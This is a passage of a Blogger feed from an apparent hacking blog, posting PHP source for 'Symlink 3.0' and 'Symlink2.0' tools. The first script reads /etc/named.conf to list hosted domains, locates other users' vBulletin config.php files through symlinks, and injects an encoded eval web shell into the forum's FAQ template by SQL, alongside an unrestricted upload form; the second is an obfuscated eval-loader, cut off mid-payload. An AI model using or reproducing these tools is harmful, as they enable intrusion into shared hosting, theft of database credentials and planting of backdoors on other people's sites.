$db      = @mysql_select_db($db,$con);&lt;br /&gt;
&lt;br /&gt;
$shell   = &quot;bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==&quot; ;&lt;br /&gt;
&lt;br /&gt;
$crypt  = &quot;{\${eval(gzinflate(base64_decode(\&#39;&quot;;&lt;br /&gt;
&lt;br /&gt;
$crypt .= &quot;$shell&quot;;&lt;br /&gt;
&lt;br /&gt;
$crypt .= &quot;\&#39;)))}}{\${exit()}}&amp;lt;/textarea&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$sqlfaq = &quot;UPDATE template SET template =&#39;&quot;.$crypt.&quot;&#39; WHERE title =&#39;FAQ&#39;&quot; ;&lt;br /&gt;
&lt;br /&gt;
$query  = @mysql_query($sqlfaq,$con);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if ($query){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Succeed&amp;lt;/b&amp;gt; shell in search.php&#39;;}&lt;br /&gt;
&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$domins = trim($domin).&#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$domins&#39;&amp;gt;$domin&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a target=&#39;_blank&#39; href=&#39;http://$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b style=&#39;color:red&#39;&amp;gt;failed2&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
die();&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(!is_file(&#39;named.txt&#39;)){&lt;br /&gt;
&lt;br /&gt;
$d00m = file(&quot;/etc/named.conf&quot;);&lt;br /&gt;
&lt;br /&gt;
}else{&lt;br /&gt;
&lt;br /&gt;
$d00m = file(&quot;named.txt&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
if(!$d00m)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
die (&quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;0; url=?sws=read&#39;/&amp;gt;&quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;form method=&#39;POST&#39; action=&#39;$pg?sws=vb&#39;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;submit&#39; value=&#39;Inject shell&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;input type=&#39;hidden&#39; value=&#39;1&#39; name=&#39;s&#39; /&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt; Domains &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; config &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Result &amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$f = fopen(&#39;vb.txt&#39;,&#39;w&#39;);&lt;br /&gt;
&lt;br /&gt;
foreach($d00m as $dom){&lt;br /&gt;
&lt;br /&gt;
if(eregi(&quot;zone&quot;,$dom)){&lt;br /&gt;
&lt;br /&gt;
preg_match_all(&#39;#zone &quot;(.*)&quot;#&#39;, $dom, $domsws);&lt;br /&gt;
&lt;br /&gt;
if(strlen(trim($domsws[1][0])) &amp;gt; 2){&lt;br /&gt;
&lt;br /&gt;
$user = posix_getpwuid(@fileowner(&quot;/etc/valiases/&quot;.$domsws[1][0]));&lt;br /&gt;
&lt;br /&gt;
///////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$wpl=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/includes/config.php&quot;;&lt;br /&gt;
$wpp=get_headers($wpl);&lt;br /&gt;
$wp=$wpp[0];&lt;br /&gt;
&lt;br /&gt;
$wp2=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/vb/includes/config.php&quot;;&lt;br /&gt;
$wpp2=get_headers($wp2);&lt;br /&gt;
$wp12=$wpp2[0];&lt;br /&gt;
&lt;br /&gt;
$wp3=$pageURL.&quot;/sym/root/home/&quot;.$user[&#39;name&#39;].&quot;/forum/includes/config.php&quot;;&lt;br /&gt;
$wpp3=get_headers($wp3);&lt;br /&gt;
$wp13=$wpp3[0];&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
////////// vb ////////////&lt;br /&gt;
&lt;br /&gt;
$pos = strpos($wp, &quot;200&quot;);&lt;br /&gt;
$config=&quot;&amp;amp;nbsp;&quot;;&lt;br /&gt;
&lt;br /&gt;
if (strpos($wp, &quot;200&quot;) == true )&lt;br /&gt;
{&lt;br /&gt;
$config= $wpl;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp12, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp2;&lt;br /&gt;
}&lt;br /&gt;
elseif (strpos($wp13, &quot;200&quot;) == true)&lt;br /&gt;
{&lt;br /&gt;
$config= $wp3;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
continue;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
/////////////////////////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
$dom = $domsws[1][0];&lt;br /&gt;
&lt;br /&gt;
$w = fwrite($f,&quot;$config||$dom \n&quot;);&lt;br /&gt;
if($w){$r = &#39;&amp;lt;b style=&quot;color: #006600&quot;&amp;gt;Save&amp;lt;/b&amp;gt;&#39;;}else{$r = &#39;&amp;lt;b style=&quot;color:red&quot;&amp;gt;failed&amp;lt;/b&amp;gt;&#39;;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=http://www.&quot;.$domsws[1][0].&quot;&amp;gt;&quot;.$domsws[1][0].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;a href=&#39;$config&#39;&amp;gt;config&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;.$r.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
flush();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
&lt;br /&gt;
case &#39;help&#39;:&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;div class=&#39;tmp&#39;&amp;gt;&lt;br /&gt;
&amp;lt;table align=&#39;center&#39; width=&#39;40%&#39;&amp;gt;&amp;lt;td&amp;gt;function&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Case&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$safe_mode = ini_get(&#39;safe_mode&#39;);&lt;br /&gt;
if($safe_mode){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Safe Mode&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$fun = function_exists(&#39;symlink&#39;);&lt;br /&gt;
if(!$fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;function symlink&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$fun = function_exists(&#39;file&#39;);&lt;br /&gt;
if(!$fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;function file&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$fun = function_exists(&#39;file_get_contents&#39;);&lt;br /&gt;
if(!$fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;function file_get_contents&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$fun = function_exists(&#39;mkdir&#39;);&lt;br /&gt;
if(!$fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;function mkdir&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$fun = is_dir(&#39;sym/root&#39;);&lt;br /&gt;
if(!$fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #336600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Permission denied&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$fun = preg_match(&#39;/Forbidden/&#39;,@file_get_contents(&#39;sym/root&#39;) or !@file_get_contents(&#39;sym/root&#39;));&lt;br /&gt;
if($fun){$r = &quot;&amp;lt;b style=&#39;color: red&#39;&amp;gt;False&amp;lt;/b&amp;gt;&quot;;}else{$r = &quot;&amp;lt;b style=&#39;color: #006600&#39;&amp;gt;True&amp;lt;/b&amp;gt;&quot;;}&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Forbidden&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$r&amp;lt;/td&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &quot;&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
break;&lt;br /&gt;
default:&lt;br /&gt;
header(&quot;Location: $pg&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/// home ///&lt;br /&gt;
}else&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; name=&quot;uploader&quot; id=&quot;uploader&quot;&amp;gt;&#39;;&lt;br /&gt;
echo &#39;&amp;lt;input type=&quot;file&quot; name=&quot;file&quot; value=&quot;Choose file&quot; size=&quot;60&quot; &amp;gt;&amp;lt;input name=&quot;_upl&quot; type=&quot;submit&quot; id=&quot;_upl&quot; value=&quot;Upload&quot;&amp;gt;&amp;lt;/form&amp;gt;&#39;;&lt;br /&gt;
if( $_POST[&#39;_upl&#39;] == &quot;Upload&quot; ) {&lt;br /&gt;
if(@copy($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $_FILES[&#39;file&#39;][&#39;name&#39;])) { echo &#39;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;Uploaded successful !!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#39;; }&lt;br /&gt;
else { echo &#39;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Not uploaded !!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#39;; }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#39;&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;div class=&quot;fot&quot;&amp;gt;Cod3d by &amp;lt;b&amp;gt;S3n4t00r&amp;lt;/b&amp;gt; Idea by &amp;lt;b&amp;gt;Mr.Alsa3ek&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;b style=&quot;color: red&quot;;&amp;gt;   Sec-w.Com  &amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Muslims Hackers&amp;lt;/div&amp;gt; &#39;;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function ex($text,$a,$b){&lt;br /&gt;
$explode = explode($a,$text);&lt;br /&gt;
$explode = explode($b,$explode[1]);&lt;br /&gt;
return $explode[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
echo &#39;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;a style=&quot;text-decoration: none; color: #F4F4F4;&quot; title=&quot;ÇáÍãÇíå&quot;/href=&quot;http://sec-w.com/cc&quot;&amp;gt;ÇáÍãÇíå&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;a style=&quot;text-decoration: none; color: #F4F4F4;&quot; title=&quot;ÚÇáã ÇáÍãÇíå&quot;/href=&quot;http://sec-w.com/cc&quot;&amp;gt;ÚÇáã ÇáÍãÇíå&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&#39;;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
i wish you will apreciate the script and Bye .&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/4160083059131686558/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/ultra-priv8-symlink-30.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/4160083059131686558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/4160083059131686558'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/10/ultra-priv8-symlink-30.html' title='Ultra Priv8 :Symlink 3.0'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-5419495073345176608</id><published>2012-08-30T08:02:00.005-07:00</published><updated>2012-10-01T02:14:29.052-07:00</updated><title type='text'>Script Symlink2.0 for Pentesting </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi,&lt;br /&gt;
The Script Symlink2.0 is very useful in pentesting it give you resume of the config&#39;s server and more other things.&lt;br /&gt;
The source code :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&amp;lt;?php /* Cod3d by Mr.Alsa3ek and Al-Swisre&amp;nbsp; */$OOO000000=urldecode(&#39;%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64&#39;);$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x2f24;eval($OOO0000O0(&#39;JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs=&#39;));return;?&amp;gt;~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